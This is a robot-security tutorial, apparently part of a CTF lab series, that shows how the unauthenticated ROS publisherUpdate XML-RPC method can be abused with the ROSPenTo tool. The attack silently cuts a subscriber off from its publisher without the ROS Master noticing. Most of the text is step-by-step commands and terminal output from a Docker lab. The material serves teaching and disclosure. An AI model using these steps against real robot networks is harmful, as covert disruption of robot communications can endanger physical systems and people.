\newpage
In this tutorial we'll review how the ROS Slave API, used by every ROS Node in the robot network, presents a vulnerability in the publisherUpdate
method. This method, used to update the publisher list for a specified ROS Topic requires no authentication:
publisherUpdate(caller_id, topic, publishers)
Callback from master of current publisher list for specified topic.
Parameters
caller_id (str)
ROS caller ID.
topic (str)
Topic name.
publishers ([str])
List of current publishers for topic in the form of XMLRPC URIs
Returns (int, str, int)
(code, statusMessage, ignore)
The main problem arises from the fact that Nodes within the ROS network do not poll the ROS Master for continuous updates. Instead, they solely register to the publisherUpdate
callbacks which exposes them to any attacker making arbitrary use of this method. By exploiting this vulnerability, an attacker can potentially modify the list of publishers of an specific topic, affecting selected Nodes, while the rest of the ROS network isn't affected, nor notices any change.
This vulnerability has been reported at aliasrobotics/RVD#88.
Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity12:latest .
and run with:
docker run -it basic_cybersecurity12:latest
Let's start by listing the ROS Nodes and Topics participating in the network. After launching the container:
root@d64845e9601e:/# rosrun scenario1 talker &
root@d64845e9601e:/# rosrun scenario1 listener
Now, let's get a second command line into the simulated robotic scenario running over docker. To do so:
| => docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
935c390c1e49 basic_cybersecurity12:latest "/root/launch_script…" 20 seconds ago Up 19 seconds vibrant_chandrasekhar
| => docker exec -it 935c390c1e49 /bin/bash
root@935c390c1e49:/#
On the second terminal of the same docker instance:
root@d64845e9601e:/# rosnode list
/listener
/publisher
/rosout
root@d64845e9601e:/# rostopic list
/flag
/rosout
/rosout_agg
We can see that there're several Nodes, we're mainly interested on /publisher
and /listener
. Both, exchanging information through the /flag
Topic as follows:
root@d64845e9601e:/# rostopic echo /flag
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
...
Our fist objective is to unregister /publisher
from /subscriber
. We'll do this through the ROS Master API in a way that's only noticed by /listener
and nobody else. Messages from /publisher
will stop being processed by /subscriber
. All this will happen while keeping it away from the ROS Master (and other non-targetted Nodes such as /publisher
). To do so, we'll use [3].
First thing is to lauch ROSPenTo
and analyze the system
root@d64845e9601e:/# rospento
RosPenTo - Penetration testing tool for the Robot Operating System(ROS)
Copyright(C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under certain conditions.
For more details see the GNU General Public License at <http://www.gnu.org/licenses/>.
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
1
Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
The results of the analysis should look like:
System 0: http://127.0.0.1:11311/
Nodes:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Topics:
Topic 0.0: /flag (Type: std_msgs/String)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
Service 0.3: /listener/get_loggers
Service 0.2: /listener/set_logger_level
Service 0.1: /publisher/get_loggers
Service 0.0: /publisher/set_logger_level
Service 0.4: /rosout/get_loggers
Service 0.5: /rosout/set_logger_level
Communications:
Communication 0.0:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
Topic 0.0: /flag (Type: std_msgs/String)
Subscribers:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
Communication 0.1:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Subscribers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Communication 0.2:
Publishers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Subscribers:
Parameters:
Parameter 0.0:
Name: /roslaunch/uris/host_d64845e9601e__39259
Parameter 0.1:
Name: /rosdistro
Parameter 0.2:
Name: /rosversion
Parameter 0.3:
Name: /run_id
Let's now go ahead and unregister /publisher
. First, in one terminal, launch rosrun scenario1 listener
. Let's now jump into another terminal and unregister the /publisher
:
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
13
To which subscriber do you want to send the publisherUpdate message?
Please enter number of subscriber (e.g.: 0.0):
0.1
Which topic should be affected?
Please enter number of topic (e.g.: 0.0):
0.0
Which publisher(s) do you want to remove?
Please enter number of publisher(s) (e.g.: 0.0,0.1,...):
0.0
sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:36963/)' over topic '/flag (Type: std_msgs/String)' with publishers ''
PublisherUpdate completed successfully.
You should see that the /listener
is not receiving information anymore.
If we instrospect the ROS Master API through the command line tools ROS offers, we can see no change has happened in the nodes:
root@19246d9bf44b:/# rosnode list
/listener
/publisher
/rosout
A further inspection of the ROS Master using ROSPenTo
provides the exact same response. The following terminal dump implies a re-analysis and a latter print of the communications:
sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:41723/)' over topic '/flag (Type: std_msgs/String)' with publishers ''
PublisherUpdate completed successfully.
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
1
Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
URI ' http://localhost:11311/' is not valid!
Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/
System 0: http://127.0.0.1:11311/
Nodes:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topics:
Topic 0.0: /flag (Type: std_msgs/String)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
Service 0.3: /listener/get_loggers
Service 0.2: /listener/set_logger_level
Service 0.1: /publisher/get_loggers
Service 0.0: /publisher/set_logger_level
Service 0.4: /rosout/get_loggers
Service 0.5: /rosout/set_logger_level
Communications:
Communication 0.0:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Topic 0.0: /flag (Type: std_msgs/String)
Subscribers:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Communication 0.1:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Subscribers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Communication 0.2:
Publishers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Subscribers:
Parameters:
Parameter 0.0:
Name: /roslaunch/uris/host_19246d9bf44b__37253
Parameter 0.1:
Name: /rosdistro
Parameter 0.2:
Name: /rosversion
Parameter 0.3:
Name: /run_id
What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
8
Please enter number of analysed system:
0
System 0: http://127.0.0.1:11311/
Communications:
Communication 0.0:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Topic 0.0: /flag (Type: std_msgs/String)
Subscribers:
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Communication 0.1:
Publishers:
Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
Subscribers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Communication 0.2:
Publishers:
Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Subscribers:
As it can be seen, there're no changes (noticeable) in the communications when introspecting the ROS Master.
What's happening is that ROSPenTo
called the XML-RPC function publisherUpdate
with an empty list of publishers as parameter. This caused the /listener
node to assume that no publishers are available for the /flag
Topic and thus,
it terminated the connection to the /publisher
node.
- [1] Mendia, G. O., Juan, L. U. S., Bascaran, X. P., Calvo, A. B., Cordero, A. H., Ugarte, I. Z., ... & Vilches, V. M. (2018). Robotics CTF (RCTF), a playground for robot hacking. arXiv preprint arXiv:1810.02690.
- [2] Scenarios of the Robotics CTF (RCTF), a playground to challenge robot security. Retrieved from https://github.com/aliasrobotics/RCTF
- [3] Dieber, B., Breiling, B., Taurer, S., Kacianka, S., Rass, S., & Schartner, P. (2017). Security for the Robot Operating System. Robotics and Autonomous Systems, 98, 192-203.
- [4] SROS2 Tutorial, IROS 2018. Retrieved from https://ruffsl.github.io/IROS2018_SROS2_Tutorial/.
- [5] roschaos. Retrieved from https://github.com/ruffsl/roschaos.
- [6] ROSPenTo. Retrieved from https://github.com/jr-robotics/ROSPenTo.